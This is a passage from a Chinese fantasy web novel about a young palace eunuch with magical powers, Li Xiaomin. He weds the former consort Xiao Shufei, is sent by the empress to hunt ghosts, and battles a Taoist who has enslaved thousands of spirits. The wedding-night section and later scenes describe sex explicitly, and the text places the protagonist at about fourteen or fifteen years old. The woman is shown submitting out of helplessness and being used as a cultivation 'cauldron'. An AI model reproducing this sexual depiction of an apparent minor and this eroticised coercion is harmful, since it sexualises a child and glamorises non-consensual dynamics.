美婢们娇笑着叩首道谢,想着主人一结婚,自己就能拿到三个月的俸银,个个都是心中欢喜,只恨不得主人多结几次婚才好。

李小民握着萧淑妃洁白光滑的小手,呵呵大笑着,挽着她走向洞房。那里本是这一处府第中最大最舒服的卧室,被分给萧淑妃用,萧淑妃已经在那里住了几天,今天,这房间便要成为他们新婚的洞房了。

在堂中角落里,青绫躲在一处屏风后面,看着李小民身穿新郎礼服,牵着同样身穿大红喜服的母亲走进洞房,美目中泪光闪闪,贝齿紧紧咬着嘴唇,几乎要咬出血来。

李小民此时已经顾不得理会别的,反正那些丫环新来,也不敢来闹自己这个主人的房,只是在心中暗念,把月娘赶走,不让她在一旁偷看,做了一回“新人拥上床,媒人抛过墙”的事。

萧淑妃坐在新房床上,心头鹿撞。想着自己今日要与这比自己女儿还小的俊秀少年结为夫妇,羞惭无地,不知将来该怎么面对这从前的小太监、现在的夫君,更不知一向喜欢他的女儿见了自己与他的关系,又将如何自处。可是身为弱女子,在这男子主宰的世上,也只能任由命运之风,将自己吹来吹去,不听他的摆布,还能有什么别的办法呢?

李小民在新房里走来走去,借着房中四面燃起的大红喜烛的光芒,看着新娘俏生生地坐在新床上,不由越看越爱,只是碍着还有韩馨儿在屋里侍候,才没有直接冲上去,上下其手,先占够了便宜再说。

韩馨儿红着脸在一旁服侍,看着坐在床上的主母,心中好生羡慕,只望主人不要忘了刚才对自己说过的话才好。

怔了一阵,她忽然想起自己的职责,端着托盘走上前去,跪在李小民面前,请他掀开新娘的盖头。

李小民微笑着,轻轻拍拍她的秀发,伸手从托盘上拿起一根红色细棒,迈步向萧淑妃走去,站在她的面前,微笑道:“娘子,为夫来了!” 细棒挑在盖头上,轻轻地将大红盖头挑起来,露出了一张绝色惊艳的美丽面庞。这般艳丽模样,比之李小民记忆中更美上百倍,让他不由看得眼睛都有些直了。

萧淑妃微垂臻首,红透双颊,娇羞不已,美目低垂,不敢擡头看面前的少年一眼。

李小民却不肯放过她,放下手中细棒,伸手挑起她光滑如玉的下巴,细细打量着她含羞双眸,见佳人如玉,端丽无双,不由赞叹道:“果然是美若天仙,能得到娘子这般神仙眷侣,实在是我的福气啊!”

萧淑妃含羞看着面前身穿新郎喜服的少年,想起从前种种过往,又羞又又喜又悲,眼圈不由微微泛红了。

韩馨儿端着托盘走上前来,娇声道:“请主人、主母喝交杯酒!” 李小民拉起萧淑妃,走到桌边坐下,端起酒杯,拉起萧淑妃玉手,将酒杯放在她的手中,顺便摸摸小手,自己又端起一杯酒,笑道:“娘子,我们喝交杯酒吧!”

萧淑妃虽是满心羞涩,没奈何也只得与他双臂环扣,喝了这杯酒下肚。虽然是薄酒,却也让她脸色更形红润,看得李小民口水暗流不止。 既然已经喝了交杯酒,再留着个电灯泡就没有意义了。李小民悄悄使了个眼色,韩馨儿会意,屈膝行礼,娇笑着退出门去,小心在掩上门,靠在门外,心神摇荡,一想到今天夜里主人会怎么对待主母,便让她的小心肝扑通扑通地跳动不止。

在屋里,李小民倒也不在乎韩馨儿是不是在外面偷听,只是低低地笑着,将脸凑近萧淑妃如玉的面颊,直看得她羞得几欲流泪,才伸出双臂,将她从椅子上抱起来,一边低头吻着她的玉颈,一边向床上走去。 萧淑妃仰起头,轻声呻吟着,修长玉颈在李小民的亲吻之下,阵阵热力从体内泛起,弄得她娇躯滚烫,对今晚将要发生的事充满了向往和恐惧。

就象她预料的那样,李小民将她放在床上,二话不说便来脱她的衣服。萧淑妃还未觉得什么,大红新娘礼服已经被他快手快脚地脱了下来,露出了里面衣衫。

李小民流着口水,将手悄悄地印在她的酥胸,只觉触手绵软,虽是隔着衣衫,亦可令人销魂。正要一鼓作气将她剥光,忽然看到佳人美目微睁,樱唇轻启,低低地叫了一声:“夫君!”

这一声,比之任何仙音都要动人,李小民只觉浑身上下无数毛孔无不畅快,连忙将耳朵凑上去,兴奋地笑道:“娘子,叫夫君做什么?” 萧淑妃玉面绯红,低声道:“夫君,让妾身来服侍夫君宽衣吧!” 李小民喜不自禁,起床站在床边,看着玉人从床上下来,满脸红晕地替自己脱去大红喜服,温软的小手碰触在身上,让他的兴奋不断地高涨。 象一切温柔体贴的妻子一样,萧淑妃细心地替他脱去衣衫,缓缓跪在地上,替他除去裤子,看着他内裤上高高挺起的部位,满心娇羞,却也不能停下来,一点点地替他除去衣衫,只留下一条内裤,却再也不敢去脱了。

李小民低声笑着,伸手将她温软娇躯抱在怀中,和她一起上床,三下两下,将她剥得如同白羊一般,顺手便将手掌印上了她的酥胸,感觉到掌中丰满绵软,亦带着少女般的柔嫩弹性,随着自己的动作,在掌中不断变形,不由心中大畅。

低头欣赏着身下美妙无限的玉体,李小民握住萧淑妃的玉掌,引着她,替自己除下内裤,随即伏上她的身子,与她缓缓地合为一体。 萧淑妃一丝不挂地躺在床上,拥着身上少年纤瘦的身子,娥眉微蹙,被他温柔地深入自己玉体之内的坚硬弄得喘不过气来。

缓缓擡起美眸,看着少年俊秀的面庞,含笑的双目,萧淑妃又羞又喜,想着自己已经是他的人了,两行晶莹的珠泪,却抑制不住地,从美目中滑落,洒在绣着鸳鸯戏水图案的喜枕之上。

接下来的几天,李小民一直呆在自己的新居之内,每日拥着萧淑妃寻欢,似要将自己多日来对她积累的情思尽都痛痛快快地发泄出来。 这绝色美人,虽是年纪比李小民大一倍有余,看上去却极是年轻,兼之性情温婉,只道出嫁从夫,自己现在一身倚靠着他,当李小民是终身之主,对李小民尽心服侍,不管他要自己做什么羞人的事,也只得咬牙闭目去做,一切只要侍奉夫君欢喜才好。

有这样温婉美丽的佳人服侍,李小民自然是乐不思蜀,再舍不得离开了。

只有一事让他不能尽兴:在交欢之时,萧淑妃虽是温柔承欢,却总是拼命地咬牙忍耐,或是咬住被角枕巾,死也不肯发出一丝淫声。大概是生怕自己的女儿或丫环们听到,让自己难以为情。

不过,这样倒给了李小民一个机会,每天用尽办法来挑逗蹂躏她,弄得她死去活来好几次,看着她仍在苦苦忍耐着不叫出声来,让李小民大感有趣,惊奇之余,亦复好笑。

这一天,他和萧淑妃几番云雨,弄得她玉体如绵,一丝不挂地躺在床上默默流泪,再也动弹不得。

李小民倒还好,这些天,他苦练仙术,以萧淑妃为鼎炉,仙力亦是大增,神采弈弈,看起来倒更是俊俏了几分,在床上更是勇猛无比,弄得萧淑妃又爱又怕,服侍他时,虽是兴奋快乐,却也生怕服侍得他不够尽兴快活。

看着萧淑妃已经没有力气再战,李小民也不能太强人所难,只得起了床,用被子遮住她的雪白玉体,在她娇羞微笑的脸颊上轻轻一吻,自己穿上衣服,出去喝点粥,来补充体力。

在院子里,却迎面碰到了青绫,正手挽花树,神色怔忡,象在想着什么心事。见他来了,一时不及躲闪,玉容之上,尽是尴尬羞怒之色。 李小民也没想到会在这里碰见她,这些天,自己一直躲在房中和她母亲行云布雨,而她也躲在房里不肯出来,因此自从自己做了她继父之后,就再也没见过面。现在见了面,也不由有些尴尬。

不过,李小民自非常人,厚着脸皮上前施礼,陪笑道:“青绫姐姐,小弟有礼了!”

看着他陪着小心、嬉皮笑脸的模样,青绫又好气又好笑,掩面嗔道:“你怎么还是这个样子,都已经……怎么还叫我姐姐!”

李小民深揖到地,正色道:“姐姐在我最孤单的时候,教我读书写字,给我温暖,不管到什么时候,青绫姐姐在我心里,都是我的好姐姐,是我最亲近的人!”

青绫掩面啐道:“又在胡说!我问你,这些天,你有没有练字?” 李小民心中暗道:“这些天,我天天都趴在你母亲身上勤奋修炼,哪有什么时间练写字,你这么说,是想找机会修理我,以报复我上了你母亲的深仇大恨是吗?”

他倒也不在乎青绫修理,只要能揭开这层尴尬便好,因此苦着脸道:“是,小弟这几日疏于练字,请姐姐责罚!”

青绫也确实想要找个由头出上一口气,见他自己送上门来,便怒斥道:“书法一道,如逆水行舟,不进则退,你不去好好练字,又跑到这里来做什么?”

李小民嬉皮笑脸地道:“姐姐,我是来找姐姐教我写字的啊!没有姐姐在身边,我写字也没有精神!”

青绫听得心中一动,低下头,叹了口气,怏怏道:“母亲写的字,比我要好,你去跟母亲学写字吧!”

李小民一听,心中大感义愤:“你母亲陪我练功,现在已经连拿笔的力气都没有了,你还要加重她的负担,孝心何在?”

可是这样的话,又不敢当着青绫的面说出来,只得拉住她的衣袖,苦苦央求。青绫被他纠缠不过,只得恨恨地在他头上点了一指,拉着他,向书房走去。

进了书房,青绫先命他磨墨,然后要他写上五百篇大字,以惩戒他疏于练字的错处。

李小民乖乖地点头答应,真地开始写起了大字,经过长期的苦练,现在奋笔疾书,写得字也很象个样子了。

青绫见他在占尽优势的情况下,仍能做小伏低,心中的怨气也渐渐消散,站在他的身边,看他写的字大有长进,也不由暗暗点头,把着他的手,教给他哪笔写得不对,该怎么写才好,待得五百篇字写完,二人的关系,竟然融洽了许多,颇有从前在宫中相处时的温暖感觉了。

到了午饭时间,韩馨儿来请二人前去用膳,惊奇的目光看着李小民,对他左右逢源的本领大感钦佩。

萧淑妃娇弱无力地坐在餐桌旁,耐心等待着少年夫君前来用膳。谁知却看到女儿与他并肩走进来,不由又惊又羞,慌忙站起来迎接,却因在床上耗力过巨,双腿无力,身子一歪,几乎跌倒。

李小民眼明手快,慌忙上前扶她的娇躯,习惯性地在香臀上轻捏一把,忽然想起青绫还在身边,立即收回手,做贼心虚地看向青绫,生怕她发怒。

那在他身边走进来的清丽文雅的才女却是视而不见,走到餐桌边坐下,淡然笑道:“母亲,小民子,馨儿今天做的菜这么好,你们怎么不来吃饭?”

李小民见她不怪罪,心中狂喜,慌忙答应,扶着自己娇弱无力的娘子,走到桌边,坐下来一同用餐。

萧淑妃玉容之上,又惊又羞,见女儿一副淡淡的模样,似是已经不把这几天的事放在心上,芳心暗自喜悦,也不敢多说什么,只是微笑着,陪着他们两人,一同用餐。

这一次用餐,三人之间的感情,却融洽了许多,渐渐地,就像是在宫中之时,李小民跟青绫学完读书写字之后,三人坐在一起用饭时的温柔情景了。

只是,他们都注意不提到三人现在的尴尬关系,李小民对青绫恭恭敬敬地以“姐姐”相称,青绫也毫不客气地直唿他为“小民子”或“小民”,只有萧淑妃不敢叫他的名字,也不好当着青绫的面称其为“夫君”,对他说的话中,都含含煳煳,不敢带任何称谓。弄得李小民心头暗笑,一边吃着饭,一边悄悄地在桌下摸弄她的美腿香躯,萧淑妃虽是羞惧,却也不敢躲开夫君的爱抚,只能强自淡雅微笑着,在女儿的眼皮底下,任由他轻薄了。

大唐最尊贵的女子,高高地坐在华座之上,线条优美的朱唇边,带着一丝迷人的微笑,不怒而威,淡淡地看着下面俯首跪拜的俊秀少年。 李小民恭恭敬敬地叩拜完毕,听得上面的美女轻启朱唇,淡淡说了一声:“免礼!”这才爬起来,小心地站立在一旁。

温柔悦耳、亦带着一丝威严的声音,传入了他的耳中:“擡起头来,让本宫好好看一看!”

李小民听话地擡起头,小心地打量着上面的美女。但见她身穿大唐皇后庄重华丽的服饰,衬得她明眸皓齿,美艳至极,在华服之下,隐隐浮现的性感娇躯,更是弄得李小民虚火上升,产生了一丝太监对皇后不应有的感情。

在宝座之旁,还有一个座位,上面坐着一个爽朗美女,看上去和周皇后一样,都是二十余岁的模样,其年轻美丽,比之李小民藏在家里的美娇娘也不遑多让。

李小民一边回忆着自己今天早上和萧淑妃几番云雨,弄得她香汗淋漓、娇躯无力的旖旎情景,一边暗自意淫,只希望有朝一日天从人愿,让自己将这一对宫中最尊贵的美女弄到床上,让她们再度和萧淑妃做同命姊妹,一起侍奉自己这位杰出的太监。

想起从前在网站上,那些写意淫小说的作者,又有哪一个能象自己这么敢想,低头站在皇后和贵妃的面前,就敢盘算着弄她们上床?想到这里,李小民不禁飘飘然,大叹自己才是这个世界意淫小说的鼻祖,在这里过上几千年,待得网路发展起来,那时的小说作者,都要奉自己为祖师爷了。

周皇后坐在上首,看着这相貌俊美的小太监眼神灵活,一双漆黑的眼珠不住地打转,不知道在想着什么,不由心中好笑,微笑道:“妹妹,这就是你说的那个会仙术的小太监?”

坐在一边的秦贵妃微微躬身,恭声道:“是。娘娘不要看他年纪幼小,却已经是修炼了多年,上次若非他出手相助,只怕长平已经不幸了。”

周皇后凤眉微挑,感兴趣地看着李小民,微笑道:“哦?如此的话,本宫倒要对你刮目相看了。”

李小民慌忙拜倒在地,恭声道:“皇后娘娘,小人不敢当娘娘谬赞。小人世受皇恩,又在宫中为奴,娘娘有什么差遣,尽管吩咐,小人定当效犬马之劳!”

周皇后点头微笑道:“你倒乖巧。不错,本宫宣你来,正是有事要你去做。”

李小民虽然不知道她要自己做什么,也猜出她是要利用自己会仙术这一条,来派自己做些困难的事。当下里满口应承,道是不论多么困难的事,只要娘娘发话,他也是赴汤蹈火,万死不辞。

周皇后被他逗得掩口娇笑,一丝妩媚的气息从她玉体上散发出来,她威严的气质顿时消散,变得诱人至极,弄得李小民眼中闪闪发亮,慌忙低下头,不敢多看,免得被这性感皇后诱得现了原形,那就很危险了。 周皇后笑了一阵,收敛笑容,重新恢复了不怒而威的庄重仪态,淡然道:“你在宫中,可曾听说宫外有闹鬼的事么?”

李小民摇摇头,态然自若地道:“小人每日里忙着管理宫中御膳房事务,未曾留心听这些消息。”

周皇后轻叹道:“你既不知,待本宫说与你听。前些日子,太子妃的舅舅,万御史家先是遭了大灾,被一群恶鬼所袭,家中男子被杀戮一空;接下来,又是望陵太守家遇了鬼,本宫的远房侄子不幸被鬼所害,家中财产,亦被洗劫一空。这几天,城中各处富户家中,不断闹鬼,不但杀人害命,还洗劫财产,城中上下遭灾之家,苦不堪言。满金陵城,人心惶惶,已经有百姓拖儿带女,逃出金陵,到远方去投亲靠友了!”

李小民听得大惊。前面两条,他亲自带鬼做的,自然知道得一清二楚;可是后面的越听越不对劲,自己什么时候做过这些事?难道说,是自己部下的鬼卫,趁自己不知道的时候,去做下这些勾当么?

他在心中唿唤月娘和林利,向他们问个究竟。林利慌忙跑去废殿询问了二位将军,又回来用传心术禀报主人,道是这些天来,所有鬼卫与风霜二女,都护着灵宝公主在宫中修炼,除了负责护卫几位主母的鬼卫,其他上下鬼等,都未曾出宫,自然也对此一无所知。

周皇后见他一脸茫然惊讶,不由叹道:“不要说你听了惊讶,就是本宫,初听此事,也是不敢相信。想当初,我金陵城在龟山派仙师护佑之下,何曾有这等怪事;谁知天有不测风云,龟山派陡遭大劫,乱象便现,皇上因闻听这些怪事,受惊不小,身染微恙,卧病在床;现在我大唐已经是风雨飘摇,难有平静之日了。”

说到这里,她自己也觉失言,不该向这小太监说到这等国家大事,轻咳一声,正色道:“现在,我欲委派你为捉鬼法师,出宫前去捉鬼镇妖,位列五品职衔,你可愿意么?”

李小民扑通一声跪倒在她面前,恭声道:“娘娘有命,小人自当遵从。更得娘娘赐与官爵,此诚天高地厚之恩,小人有生之日,必当鞠躬尽瘁,以报娘娘大恩!”

周皇后微笑点头,又道:“丹阳王李熊也请来了一位法师,道是可以捉鬼降妖。只是那老道一身阴森鬼气,目现邪光,让本宫一看便即生厌,你出宫去镇压邪鬼,定然不会输给他,是么?”

她用淡淡地口气道来,其中寓意,李小民听得明白,恭敬地叩首道:“小人明白,请娘娘尽管放心,小人是皇后娘娘派出宫去办事的,绝不会给娘娘丢脸!”

周皇后见他会意,不由微笑起来,一挥玉手,淡然道:“去吧。先赐你五千两纹银,采买一切办法事的器物。以后若哪里有厉鬼作祟,我会派人通知你前去镇压。若有什么需要用的物事,尽管去找内宫总管,只要宫中有的,尽管你用。一定要把这件事办好才行,知道了么?”

李小民恭敬地向这位便宜岳母叩头拜谢,又向旁边另一位美艳岳母叩头道别,小心地退出了房间。

看着他飘逸的身影远去,周皇后微蹙娥眉,转头看向秦贵妃,温声道:“妹妹,你看这小太监可能完成任务么?”

秦贵妃面现担心之色,摇头苦笑道:“回禀娘娘,臣妾不知。现在臣妾只是担心他修炼不足,斗不过那许多恶鬼,反送了性命。”

周皇后轻叹一声,淡然道:“丹阳王咄咄逼人,借着阴山派的威势,欲行夺位之谋。可惜我们并不识得什么修仙门派之人,一时找不到强援,也只有暂时借助这小太监的力量。他本是宫中奴才,一身都是属于皇家的。便是为皇家送了性命,也是理所应当。妹妹不要太过忧心了。” 秦贵妃低头不语,却有一声幽幽的叹息,自她朱唇中,轻轻地散发出来。

第四集第六章万鬼大阵

冯大柱,是一个铁匠。

确切地说,在二百年前,他是一个铁匠。

那个时候,冯家打铁铺,在金陵城中,是数一数二的好手艺。就连军队也常常在他的铺子里面,订做大批兵器,让冯氏打铁铺,迅速地发展起来,成为了一个大的打铁铺。

但这一切,都在一个将军来到他的店里,看到他美貌的娘子之后,发生了极大的变化。

那一天,当他看到娘子的尸首横于房中,愤怒地冲出去找仇人拼命地时候,却被一群早就准备好的兵丁围攻,将他和打铁铺中的弟子都抓了去,关进大牢,控告他们私藏兵器,准备谋反。

负责审案的官员,却是那将军的好友,不由分说,便定了他们一个谋反大逆之罪,不待秋后斩决,便悄悄地在饭中加了毒药,将他连同十五个弟子,一同毒死在死囚的牢房里面。

他本是冤死鬼,尚未到寿数年限,死后怨气冲天,化为厉鬼,领着一众冤死的弟子,冲破法师在牢中镇压的符咒,闯入那将军的宅中,愤然索命,将那将军一家大小数十口,尽皆害死,连那审案的官员也未曾放过,端的是杀人如麻,在金陵城的厉鬼之中,也排上了字号。

犯下了这等滔天大罪,便是厉鬼也担当不起。自此冯大柱也不敢去地府报到,寿数终了时,仍是混迹人间,带着一众弟子游来荡去,也收了不少小弟,占据了城中一小块地盘,偷食享受人家的供奉香火,时而与别的鬼魂发生争斗,只是不敢再谋害人命,以免遭到地府注意,派出阴兵来剿杀他们这一支野鬼组织。

这一天夜里,不知为什么,冯大柱总觉得心神不宁,好像有什么声音在远处召唤着自己,让自己不由自主地想向那个方向去。

他心知有异,暗暗抵抗着想要离开自己地盘的想法,却没有注意到,自己部下的弟子,已经悄悄地一个个地熘出去了。

当他注意到时,最后一个弟子正在目光呆滞地向外面飘去。冯大柱大吃一惊,知道自己的部下都中了迷咒,这一去,不知还能不能回来。 心神一分,他立时也被咒语所迷,迷迷煳煳地出了地盘,直向城南飘去,一直飘到城南乱葬岗中,灵气逼来,方才清醒,茫然四顾,但见自己已置身于一个巨大的阵法之中,身边密密麻麻,到处都是鬼魂,有些还是熟面孔,都是在金陵城中称王称霸的角色,带着部下小弟,惶然相对,不知道出了什么事情。

这个阵法,占地广阔,据着乱葬岗四处地形,成八卦之形,八面四方,到处都有无数鬼魂困在阵法之中,挤得挨挨擦擦,鬼挨鬼,鬼挤鬼,虽然也有清醒的鬼魂想要逃出阵法,却是来得去不得,一飘到阵法边缘,便有黑气迎面涌来,将他们封回阵中。

冯大柱心知不妙,慌忙在阵中到处搜寻,找了几十个部下,聚拢在一起,又和熟识的团伙首领打了招唿,到处寻找破阵的关键,和设立阵法的高人。

不多时,但见一个瘦小枯干的老道士出现在八卦阵的中央,高居山岗之上,举目环顾,望着无数被困于大阵中的鬼魂,仰天大笑道:“好好好,果然是金陵旺地,随便一召,便有上万游魂野鬼前来报到!只可笑龟山派的蠢驴,空在宝山不知伸手捡拾,简直就是捧着金碗讨饭吃,愚昧啊愚昧!”

冯大柱当然知道龟山派的威名,当初施咒镇压他们的便是龟山派的法师。幸好那是龟山派一个不入流的小徒弟,法力不强,但饶是如此,那符咒也让冯大柱困了多日才冲破逃出,因此对龟山派法师一向是又敬又畏。如今听得那老道士对龟山派如此不敬,又显然是他设下了阵法骗自己前来,不由又怒又怕,猜不出这贼道是什么来历。

道人此言一出,那些清醒些的厉鬼都面现怒色,嘶吼着向道人扑去。怎奈道人似是有备而来,周围数十丈处,似是布下铜墙铁壁一般,厉鬼一旦冲到那处圆弧上,便尽皆被弹了回来,灵体剧震,都受了不小的伤害。 道人轻甩拂尘,怡然微笑道:“一众小鬼听了:吾乃阴山派长老,大唐皇帝恭请来的法师,东魁子是也!今日奉了皇命,前来收伏尔等,尔等可有不服么?”

冯大柱眼见他这般法力,自己显然是无法与抗,当下沈吟不语。一个与他熟识的厉鬼头领却已经暴跳如雷,放声大叫道:“不服,不服!你这贼道,根本就是不安好心,想骗我们去替你当鬼奴卖命,爷爷死也不从!”

东魁子脸色一沈,手指轻弹,未见他做什么动作,便见那厉鬼脚下一股火焰自泥土中蹿了出来,腾地一下,将化为万丈烈火,顿时将那厉鬼和他身边数名游魂卷入其中,在众鬼的嘶声惨叫中,不过刹那之间,火散烟消,那几个鬼魂,已经是魂飞魄散,一点渣子都未曾留下。

东魁子露了这一手,满山遍野的上万鬼魂,尽皆胆战心惊,挤在一起微微打颤,用恐惧的目光看着他,无鬼再敢发一言。

东魁子微微一笑,他费尽心机,设了这万鬼大阵出来,在阵中的灵体,自是任由他处置。只要他心念一动,地狱真火便即可自阵中发出,烧光不听话的野鬼。

他伸手一指,沈声道:“本仙师法力高强,既来到金陵,便当还金陵百姓一个清平世界!尔等可速速归降,以免本仙师一怒,尔等玉石俱焚矣!”

众鬼面面相觑,最后还是冯大柱大着胆子越众而出,拱手道:“请问法师,要我们这些小鬼做些什么?”

东魁子微笑着,伸手一指不远处一个黑光笼罩的圆阵,道:“只要你们进入那一处阵法,便可成为本仙师忠心的部下,本仙师当会待尔等如手足一般,绝不亏待!”

冯大柱看向那处阵法,但见那阵法位于八卦大阵中心附近,黑雾弥漫,将那阵法笼罩住,不知道里面是什么光景,当下沈吟不语。

他部下一个弟子见了东魁子如此本领,心生怯意,凑到他身边,低声道:“师父,不如让弟子去试上一试?”

冯大柱微一沈吟,点头道:“也好,你先去吧,一切小心!”

那弟子答应一声,飘身飞出,向东魁子行礼道:“仙师,小鬼愿入阵一试!”

东魁子微一皱眉,对只有一个小鬼进阵而微有不满,却还是呵呵笑道:“也好,你既肯做本仙师的忠实部下,我自会好生待你!”

那弟子施了一礼,飘然飞向黑雾之中,只听得一声闷哼,他的灵体迅速被阵法吸收进去,九转轮回,缓缓自里面飘出,灵体已经化为了黑色,面色呆滞,缓缓飘向东魁子,站在他的身后,不言不动。

冯大柱看得惊讶,凝神盯向那弟子,忽然失声叫道:“小刁!你的灵识,已经被洗去了么?”

小刁缓缓转过头来,面无表情地看着他,用阴森森的语气说道:“师父!仙师法力通天,师父还是早些归顺,免得魂飞魄散,永世不能超生!”

冯大柱又怒又怕,浑身颤抖,愤怒的目光看向东魁子,颤声道:“法师,你要我们归顺你,为什么却要洗去我弟子的灵识,让他成为了一个无知无识的傀儡鬼!”

东魁子面色一沈,喝道:“胡说!本仙师妙法,岂是你们这些小鬼可以领会的!若归顺于我,将来的好处多着呢!尔等还不快快归降!” 他的拂尘一扫,指向四方野鬼。群鬼尽皆面现怒色,却无鬼敢于与他争竞,当下都默不作声,用沉默来表示抗议。

东魁子等了一阵,见无鬼应声,心下恼怒,喝道:“今日到此,已经由不得你们!风来!”

他拂尘一挥,指向巽位。那一处,狂风陡起,将八卦阵中巽位中困住的众鬼吹得东倒西歪,惨叫不止。

狂风起处,初时还是四面乱吹,后来便有了方向,将巽位中的近千厉鬼,尽皆吹向那乌黑圆阵。群鬼虽是拼尽灵力抵挡,却如何挡得住万鬼阵的法力,被狂风吹得逐一向那处阵法飘去,只有少数几个灵力强大的厉鬼,才挡得住这狂风劲吹,勉强飘向别处,没有落入那处由东魁子精心布下的洗灵阵中。

近千鬼魂,在一声声不甘的惨叫声中,被洗灵阵一一吸入里面,不多时,又一一从里面无声地飘出,身上已经如黑炭般黯淡,落在东魁子身后,默然不语,看上去像是一排排的泥雕木塑一般。

远处群鬼看得心惊胆战,俱都惊怕不已,纷纷向后面躲去,却被万鬼阵锁魂阵法挡住,无法逃遁。一时凄厉鬼叫,响彻乱葬岗上。

东魁子仰天大笑,心中兴奋莫名。如此多的鬼魂,都锁在自己阵法之中,这一次,自己的收获不可谓不大。果然是天下有名的旺地兼阴宅,金陵城中,竟有如此多的鬼魂未曾前去投胎,实是大出他的意料。此等意外之喜,足以让他庆幸万分。

想到这里,他就暗暗得意自己的布置。虽然来得晚了些,但自己在安排好门中事务之后,便即赶来金陵,成功地和丹阳王李熊搭上了线,双方一拍即合,借用李熊的势力,又在金陵城中搞出了几起闹鬼事件,借此成功地向李渔申请到了法师的身份,因此才能在这乱葬岗上,借用军队的力量,以镇鬼之名,布下这等庞大的阵法。若非门中各位高手都在和龟山派的拼斗之中,被垂死反扑的龟山派各名宿击伤,不得不回去休养,这般好事,也未必会落到自己头上。

只是,比自己早来一点的师兄却是死得莫名其妙,这让东魁子隐隐有些狐疑,不知道他是不是诈死,趁机把拐来的皇妃弄到隐蔽之处享用了。 他也曾去挖掘被赐死的萧淑妃的坟墓,果然发现里面空无一物,尸体不知道跑到哪里去了,现在想来,多半便是被那个酷爱炼制僵尸的师兄弄到自己的洞窟里面悄悄炼制去了。

想到这里,东魁子不禁暗自冷笑。不过是一个优质的僵尸加上一个美人鼎炉,又哪里比得上自己,只是小小地借用了一下南唐军队的力量,就弄到上万鬼奴可供役使,这般强大的实力,又岂是门中各位师兄弟可以比得上的?

现在,他已经把那些碍眼的南唐军队都赶走,这里只有他的心腹鬼奴,俱都消失了神智,只待万鬼阵中锁的鬼魂俱都被洗灵阵炼化,自己的实力,便可变得强大至极!那时便是借万鬼之力,控制金陵城,也不是不可能的事情!

正在仰天狂笑、乐不可支之际,陡然间,空中风云陡变,一道巨大的闪电自空落下,轰然击落在他的头顶,震天动地的巨响声中,东魁子被这一击打得无影无踪,刚才站着的地方,只有一个大坑留下。

群鬼一见,大惊大喜,都鼓噪起来,拼命地撞向万鬼阵周边,想要趁机逃出。谁知东魁子虽然消失,万鬼阵却未被破,群鬼直撞得头破灵泄,仍是没有一个能成功地逃出万鬼大阵。

在那大坑之处,忽然发出一阵呻吟之声。一只乌黑枯瘦的手,如同鸟爪一般,从坑下伸出来,扒着大坑边沿,缓缓爬了出来,众鬼定睛看去,却是一个枯瘦的身子,浑身上下,乌漆麻黑,恍若穷得穿不上衣服的非洲难民一般。

那黑人费力地站起身子,手执一根掉光了毛的拂尘柄,张开嘴,露出焦黄的牙齿,费力地道:“是哪里来的小辈,敢来偷袭本仙师?” 远处的山岗上,一道白影缓缓而来,众鬼讶然看去,但见那人,却是一个英俊潇洒的少年郎,年约十四五岁的模样,生得齿白唇红,俊美至极,偏偏身上仙力流转,强大得令群鬼吃惊不已。

他手执一柄装饰华美的折扇,动作洒脱自如,缓步走上乱葬岗,毫无阻碍地踏入万鬼阵,一直走到近前,手中折扇轻挥打开,淡然微笑道:“是小爷我!”

东魁子瞪大狞恶的双眼,恶狠狠盯了他半晌,嘶声道:“你是何人,为何偷袭本仙师?”

李小民手中折扇轻轻扇了两下,微笑道:“小爷乃是皇后娘娘亲自指派,奉了朝廷册封的捉鬼法师,因金陵城中闹鬼,因此前来镇压厉魂。经过本法师多方查证,探查出近来金陵城中所有闹鬼事件,都是你一手策划,本法师重任在身,特此前来,捉拿你归案,以安城中百姓之心。” 东魁子大怒,也懒得解释前两件案子不是自己做的,挥动乌黑拂尘柄,冷喝道:“大胆小子,敢来捋虎须!来鬼啊,把他给我拿下!” 随着这声嘶吼,在他身后,上百厉鬼在空中浮现,都是他炼制多年、优选劣汰,精选出来的强悍鬼奴,个个手持刀棒,穷形恶象,让人望而胆寒。

拂尘向前一指,上百厉鬼同声嘶吼,各举灵刀疯狂冲上前去,便要将李小民打翻在地,擡上来交与东魁子处置。

李小民夷然不惧,冷笑一声,在他的身后,三百鬼卫,轰然出现,个个满脸杀气,刀剑如林,望着冲杀来的上百厉鬼,冷笑不止。

那百余厉鬼,都已被东魁子炼得失了神智,见敌方鬼多势众,也不害怕,各自嘶吼着冲向前方,直奔李小民而去。

李小民手一挥,三百鬼卫,疯狂唿啸而出,如狂风席卷,迅疾无伦地扑到厉鬼群中,放手砍杀起来。

一时间,丁当之声大作。双方各使灵刀,狠命拼杀,直杀得天昏地暗,日月无光。

旁边被锁住的近万鬼魂,见这些厉鬼都是如此强悍,远胜己方,都看得目瞪口呆,恐惧不已。

沙将军手持巨锤,放声狂吼,冲入厉鬼群中,灵锤狂猛挥动,狠狠一锤,便将一名厉鬼打得魂飞魄散,张大鬼口狂吸,将他碎裂的魂魄吸入大口,精神倍增,大步冲上前去,巨锤狂挥,锤下被砸碎的厉魂,不计其数。

另一边,曾将军也不肯示弱,手中灵刀挥动,嗤嗤连声,锋锐无双的灵刀霎时将数名迎面冲来的厉鬼拦腰斩断,惨叫一声,就此魂飞魄散,倒让后面冲上来的鬼卫捡了便宜,争抢着将厉鬼灵体塞入鬼口,以助己方修炼。

两名将军,各率亲兵,自左右两翼冲杀进去,霎时便将厉鬼阵势冲破,斩杀厉鬼无数。那些厉鬼却都消失了神智,虽见同伴惨亡,却也不肯后退,仍是拼命争先,被那些修炼了三百年的鬼卫们围住狠杀,纷纷被灵刀噼中,消散于空气之中。

在后方,一身漆黑的东魁子大惊失色,想不到敌人如此强悍,部下竟有如此多的厉鬼,比之自己部下鬼奴还要厉害。自己一门,本以为除了龟山派,便可在南唐称王称霸,谁知在金陵城中,藏龙卧虎,竟还有这等强悍的对手,不由让东魁子头上冷汗直冒。

按理来说,这里本是他布下的万鬼阵,只要心念一动,地狱真火自地下蹿出,便可将敌方厉鬼卷入火海之中。谁知那少年甚是奸猾,似是认出了他布的阵势,趁着自己不防之际,以一道闪电击毁了自己阵法的关键所在,让万鬼阵只能锁住近万鬼魂,却不能摧动阵法的攻击能力,连洗灵阵都无法再操控自如。现在人手不足,又无暇再布阵法,不由暗暗叫苦。 可是现在既然已经对上,便不能后退,东魁子没奈何,只得一挥拂尘柄,喝道:“都给我上!杀光了敌鬼,给你们自由!”

那些新被洗灵阵炼化的近千鬼魂,灵智初失,听了他的命令,也都乱哄哄地冲上前去,仗着鬼多势众,将三百鬼卫,尽皆围在当中,挥动鬼爪,向鬼卫们挠去。

